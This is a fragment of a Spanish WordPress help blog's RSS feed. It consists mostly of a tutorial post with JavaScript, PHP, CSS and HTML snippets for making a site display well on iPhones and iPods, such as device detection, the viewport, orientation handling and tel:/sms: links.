	<a rel="nofollow"  href="http://ping.fm/ref/?link=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F&amp;title=Zettapetta%3A%20Nuevo%20ataque%20a%20servidores%20compartidos&amp;body=%0D%0A%0D%0ADesde%20hace%20unos%20d%C3%ADas%20hay%20nuevas%20noticias%20de%20ataques%20a%20sitios%20que%20est%C3%A9n%20basados%20en%20PHP%2C%20como%20lo%20est%C3%A1%20WordPress%2C%20y%20hoy%20ya%20puedo%20dar%20indicaciones%20algo%20claras%20al%20respecto%2C%20perdonad%20el%20retraso%20no%20obstante.%0D%0A%0D%0ALo%20primero%20a%20aclarar%20es%20que%20no%20es%20un%20at" title="Ping.fm"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.wikio.com/vote?url=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F" title="Wikio"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/wikio.png" title="Wikio" alt="Wikio" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.printfriendly.com/getpf?url=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F" title="Turn this article into a PDF!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/pdf.png" title="Turn this article into a PDF!" alt="Turn this article into a PDF!" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="mailto:?subject=Zettapetta%3A%20Nuevo%20ataque%20a%20servidores%20compartidos&amp;body=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F" title="E-mail this story to a friend!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F" title="Print this article!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print this article!" alt="Print this article!" class="sociable-hovers" /></a>


<br/><br/><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AyudaWordpress?a=Oj1D0BMqkXM:0uZwvALo-8A:Dsqc8YHEA1Y"><img src="http://feeds.feedburner.com/~ff/AyudaWordpress?i=Oj1D0BMqkXM:0uZwvALo-8A:Dsqc8YHEA1Y" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AyudaWordpress/~4/Oj1D0BMqkXM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://feedproxy.google.com/~r/AyudaWordpress/~3/Oj1D0BMqkXM/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prepara tu sitio para iPhone</title>
		<link>http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/</link>
		<comments>http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 00:08:18 +0000</pubDate>
		<dc:creator>planetawordpress</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[diseño]]></category>
		<category><![CDATA[Experto]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[iPod]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[Safari]]></category>
		<category><![CDATA[SMS]]></category>
		<category><![CDATA[Tutoriales / Trucos]]></category>
		<category><![CDATA[Wordpress.org]]></category>

		<guid isPermaLink="false">http://ayudawordpress.com/?p=7329</guid>
		<description><![CDATA[
Impresionante la recopilación realizada por Cats who code sobre códigos con los que adaptar tu sitio a la visualización en iPhone. Como creo que es de un gran interés para desarrolladores y usuarios avanzados y que, por supuesto, son aplicables a WordPress, aquí los tienes con alguna adaptación a nuestro entorno:
Detectar iPhones e iPods usando [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://ayudawordpress.com/wp-content/uploads/2010/03/iphone_wireframe-500x419.png" alt="" title="iphone_wireframe" width="500" height="419" class="aligncenter size-medium wp-image-7332" /></p>
<p>Impresionante la <a href="http://www.catswhocode.com/blog/10-useful-code-snippets-to-develop-iphone-friendly-websites">recopilación realizada por Cats who code</a> sobre códigos con los que adaptar tu sitio a la visualización en iPhone. Como creo que es de un gran interés para desarrolladores y usuarios avanzados y que, por supuesto, son aplicables a WordPress, aquí los tienes con alguna adaptación a nuestro entorno:</p>
<h3>Detectar iPhones e iPods usando Javascript</h3>
<p>Al desarrollar para iPhone o iPod Touch lo primero que hay que hacer es detectarlo para que, luego, le apliquemos códigos o estilos. El siguiente código d etecta iPhones o iPods usando Javascript, y los redirige a una página  específica para iPhone.</p>
<div class="igBar"><span id="ljavascript-40"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('javascript-40'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">JavaScript:</span>
<div id="javascript-40">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000066; font-weight: bold;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>navigator.<span style="color: #006600;">userAgent</span>.<span style="color: #006600;">match</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066FF;">/iPhone/i<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> || <span style="color: #66cc66;">&#40;</span>navigator.<span style="color: #006600;">userAgent</span>.<span style="color: #006600;">match</span><span style="color: #66cc66;">&#40;</span>/iPod/i</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #66cc66;">&#40;</span>document.<span style="color: #006600;">cookie</span>.<span style="color: #006600;">indexOf</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">"iphone_redirect=false"</span><span style="color: #66cc66;">&#41;</span> == -<span style="color: #CC0000;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; window.<span style="color: #006600;">location</span> = <span style="color: #3366CC;">"http://m.espn.go.com/wireless/?iphone&amp;i=COMR"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://davidwalsh.name/detect-iphone" >http://davidwalsh.name/detect-iphone</a></strong></p>
<h3>Detectar iPhones e iPods usando PHP</h3>
<p>Aunque el código anterior funciona de maravilla puede que Javascript esté desactivado en el iPhone. Si fuera el caso puedes usar PHP para detectar iPhones o iPods Touch.</p>
<div class="igBar"><span id="lphp-41"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('php-41'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-41">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/strstr"><span style="color:#000066;">strstr</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$_SERVER</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'HTTP_USER_AGENT'</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#FF0000;">'iPhone'</span><span style="color:#006600; font-weight:bold;">&#41;</span> || <a href="http://www.php.net/strstr"><span style="color:#000066;">strstr</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$_SERVER</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'HTTP_USER_AGENT'</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#FF0000;">'iPod'</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color:#000066;">header</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Location: http://yoursite.com/iphone'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span style="color:#000066;">exit</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://davidwalsh.name/detect-iphone" >http://davidwalsh.name/detect-iphone</a></strong></p>
<h3>Definir el ancho de iPhone como viewport</h3>
<p>En muchas ocasiones visitas una web con tu iPhone y la ves en miniatura. La razón es que el desarrollador olvidó definir el viewport (o no sabe que existe). La declaración de <em>width=device-width</em> te permite definir el ancho del documento al ancho de la pantalla del iPhone. Las otras dos declaraciones son muy útiles si estás desarrollando un sitio  "solo para iPhone". En caso contrario puedes borrar estas dos declaraciones.<br />
Definir un viewport es fácil: Simplemente inserta el siguiente meta en la sección "head" de tu sitio (fichero "index.php" de la plantilla activa):</p>
<div class="igBar"><span id="lphp-42"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('php-42'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-42">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;meta name=<span style="color:#FF0000;">"viewport"</span> content=<span style="color:#FF0000;">"width=device-width; initial-scale=1.0; maximum-scale=1.0;"</span>&gt; </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/" >http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/</a></strong></p>
<h3>Insertar un icono específico para iPhone</h3>
<p>Cuando un usuario añade tu web a su página de inicio el iPhone usa una captura de pantalla de tu sitio como icono. Pero tu puedes ofrecer un icono específico, lo que es mucho mejor.<br />
Definir un icono personalizado para iPhone es fácil: Simplemente pega el siguiente código en la sección "head" de tu sitio (fichero "index.php" de la plantilla activa). La imagen debe ser de 57px por 57px en formato <em>.png</em>. No tienes por qué añadir brillos o esquinas ya que el iPhone las añade automáticamente:</p>
<div class="igBar"><span id="lphp-43"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('php-43'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-43">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;rel=<span style="color:#FF0000;">"apple-touch-icon"</span> href=<span style="color:#FF0000;">"images/template/engage.png"</span>/&gt; </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/" >http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/</a></strong></p>
<h3>Evitar que Safari ajuste el tamaño de texto al rotar</h3>
<p>Cuando rotas el iPhone, Safarie ajusta el tamaño de texto. Si por algún motivo prefieres evitar este efecto solo tienes que usar el siguiente CSS, que tendrás que añadir a tu hoja de estilos (fichero "style.css" de tu plantilla activa).<br />
La declaración <em>-webkit-text-size-adjust</em> es una propiedad CSS exclusiva de webkit que permite controlar el ajuste de texto.</p>
<div class="igBar"><span id="lcss-44"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('css-44'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">CSS:</span>
<div id="css-44">
<div class="css">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">html, body, form, fieldset, p, div, h1, h2, h3, h4, h5, h6 <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; -webkit-text-size-adjust:<span style="color: #993333;">none</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/" >http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/</a></strong></p>
<h3>Detectar la orientación del iPhone</h3>
<p>Como el iPhone permite ver la página en vertical o apaisdo puede que necesites detectar en qué modo el documento será visible.<br />
Esta función Javascript detecta la orientación actual del iPhone y aplica una clase CSS específica para cada modo de orientación. Fíjate que en este ejemplo la clase CSS se añade al ID del  <em>page_wrapper</em>. Remplázalo por el nombre de ID deseado (línea 24)</p>
<div class="igBar"><span id="lcss-45"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('css-45'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">CSS:</span>
<div id="css-45">
<div class="css">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">window<span style="color: #6666ff;">.onload </span>= function initialLoad<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; updateOrientation<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">function updateOrientation<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; var contentType = <span style="color: #ff0000;">"show_"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; switch<span style="color: #66cc66;">&#40;</span>window.orientation<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; case <span style="color: #cc66cc;color:#800000;">0</span>:</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; contentType += <span style="color: #ff0000;">"normal"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; break;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; case -<span style="color: #cc66cc;color:#800000;">90</span>:</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; contentType += <span style="color: #ff0000;">"right"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; break;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; case <span style="color: #cc66cc;color:#800000;">90</span>:</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; contentType += <span style="color: #ff0000;">"left"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; break;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; case <span style="color: #cc66cc;color:#800000;">180</span>:</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; contentType += <span style="color: #ff0000;">"flipped"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; break;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; document.getElementById<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">"page_wrapper"</span><span style="color: #66cc66;">&#41;</span>.setAttribute<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">"class"</span>, contentType<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/" >http://www.engageinteractive.co.uk/blog/2008/06/19/tutorial-building-a-website-for-the-iphone/</a></strong></p>
<h3>Aplicar estilos CSS solo para iPhones/iPods</h3>
<p>Si buscas un modo limpio de aplicar clases CSS solo para iPhone puedes usar el siguiente código:</p>
<div class="igBar"><span id="lcss-46"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('css-46'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">CSS:</span>
<div id="css-46">
<div class="css">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #a1a100;">@media screen and (max-device-width: 480px){</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/* Todo el CSS para iPhone va aqui */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://csswizardry.com/2010/01/iphone-css-tips-for-building-iphone-websites/" >http://csswizardry.com/2010/01/iphone-css-tips-for-building-iphone-websites/</a></strong></p>
<h3>Redimensionar imágenes automáticamente para iPhones</h3>
<p>En las webs actuales la mayoría de las imágenes suelen ser de un ancho superior a 480px. Al ser de este tamaño la pantalla del iPhone puede que las imágenes más grandes se vean incorrectamente, incluso destrozando el diseño de tu sitio.</p>
<p>Pues bien, usando el siguiente código CSS podrás redimensionar automáticamente las imágenes que sean de un ancho mayor de 480px, el ancho estándar del iPhone, con lo que nunca se verán más anchas y no desconfigurarán tu sitio al visualizarse en un iPhone.</p>
<div class="igBar"><span id="lcss-47"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('css-47'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">CSS:</span>
<div id="css-47">
<div class="css">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #a1a100;">@media screen and (max-device-width: 480px){</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; img<span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">max-width</span>:<span style="color: #cc66cc;color:#800000;">100</span>%;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">height</span>:<span style="color: #993333;">auto</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://csswizardry.com/2010/01/iphone-css-tips-for-building-iphone-websites/" >http://csswizardry.com/2010/01/iphone-css-tips-for-building-iphone-websites/</a></strong></p>
<h3>Ocultar la barra de tareas por defecto</h3>
<p>La barra de tareas es útil pero a veces ocupa demasiado sitio, que vendría estupendo para mostrar mejor tu web. Si quieres que Safari oculte la barra por defecto cuando un usuario de iPhone visite tu sitio solo tienes que añadir el siguiente Javascript:</p>
<div class="igBar"><span id="ljavascript-48"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('javascript-48'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">JavaScript:</span>
<div id="javascript-48">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">window.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'load'</span>, <span style="color: #003366; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; setTimeout<span style="color: #66cc66;">&#40;</span>scrollTo, <span style="color: #CC0000;color:#800000;">0</span>, <span style="color: #CC0000;color:#800000;">0</span>, <span style="color: #CC0000;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span>, <span style="color: #003366; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>; </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://articles.sitepoint.com/article/iphone-development-12-tips/2" >http://articles.sitepoint.com/article/iphone-development-12-tips/2</a></strong></p>
<h3>Usar enlaces especiales</h3>
<p>Al igual que con los enlaces "mailto", tan útiles para que te envíen emails, si se visualiza tu web con un iPhone puedes añadir otro tipo de enlaces que ejecutarán acciones, gracias a la función de teléfono de este miniordenador de bolsillo.</p>
<p>Si quieres ofrecer enlaces para que te llamen o te envíen un SMS puedes usar códigos html de este tipo:</p>
<div class="igBar"><span id="lhtml-49"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('html-49'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">HTML:</span>
<div id="html-49">
<div class="html">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">&lt;a</span></a> <span style="color: #000066;">href</span>=<span style="color: #ff0000;">"tel:12345678900"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span>Llámame<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/a&gt;</span></span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<div class="igBar"><span id="lhtml-50"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('html-50'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">HTML:</span>
<div id="html-50">
<div class="html">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">&lt;a</span></a> <span style="color: #000066;">href</span>=<span style="color: #ff0000;">"sms:12345678900"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span>Mándame un SMS<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/a&gt;</span></span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://articles.sitepoint.com/article/iphone-development-12-tips/3" >http://articles.sitepoint.com/article/iphone-development-12-tips/3</a></strong></p>
